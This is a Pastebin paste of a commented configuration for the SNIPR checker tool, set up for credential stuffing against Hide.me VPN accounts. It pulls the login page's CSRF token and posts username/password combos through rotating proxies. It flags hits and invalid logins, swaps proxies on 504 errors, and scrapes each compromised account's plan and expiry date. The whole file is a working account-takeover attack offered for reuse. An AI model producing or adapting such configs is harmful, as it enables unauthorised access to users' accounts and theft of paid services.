Advertisement
Guest User

Untitled

a guest
Jan 4th, 2018
758
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.20 KB | None | 0 0
  1. {
  2. "General": {
  3. "name": "Hide.me",
  4. "proxyType": "Proxies",
  5. "comboType": "Username"
  6. },
  7. "Requests": [
  8. //Getting cookies and
  9. //variables for post Data
  10. {
  11. // the url we are sending the request to
  12. "actionUrl": "https://member.hide.me/en/user/login",
  13. //
  14. // the way we are sending the request
  15. "method": "GET",
  16. //
  17. // if this matches continue on
  18. "successKeys": ["name=\"token\""],
  19. //
  20. // variables are used if other requests require a cetrain peice of data
  21. "variables": [{
  22. // whatever you want to name it
  23. "name": "token",
  24. //
  25. // how we are getting the variable
  26. "type": "Regex",
  27. //
  28. // the pattern for the Regex to use
  29. "pattern": "\"token\" value=\"([^\"]*)\"",
  30. //
  31. // what the variable is used for
  32. "usedFor": "postData"
  33. //
  34. }]
  35. },
  36. //Login Task
  37. {
  38. "actionUrl": "https://member.hide.me/en/login_check",
  39. "method": "POST",
  40. // the way the postData is read
  41. "contentType": "application/x-www-form-urlencoded",
  42. //
  43. // the data which is sent in a post request (duh)
  44. // +token+ is the variable we defined in the request before
  45. "postData": "_username=<USER>&_password=<PASS>&token=+token+",
  46. //
  47. // if this matches return a hit and continue
  48. "successKeys": ["<URL>||member.hide.me/en/"],
  49. //
  50. // if this matches then return invalid and stop
  51. "failureKeys": ["<URL>||user/login&&The username or password you entered is incorrect"],
  52. //
  53. // if this matches then ban the proxy and use another and retry
  54. "banKeys": ["<HTTPCODE>||504"]
  55. //
  56. },
  57. //Capture Parse
  58. {
  59. "actionUrl": "https://member.hide.me/en/",
  60. "method": "GET",
  61. "successKeys": ["Your <strong>"],
  62. // starting the capture parse phase
  63. "captureParse": {
  64. // list your patterns
  65. "patterns": [{
  66. // this is the Regex pattern
  67. "pattern": "Your <strong>([^a]*)<.*, ([^\"]*)<\/st",
  68. //
  69. // this is what it writes back in SNIPR
  70. // where +1+ is the first capture group
  71. // and +2+ is the second capture group
  72. "returnString": "Has +1+ plan | Expires on +2+"
  73. //
  74. }]
  75. }
  76. }
  77. ]
  78. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement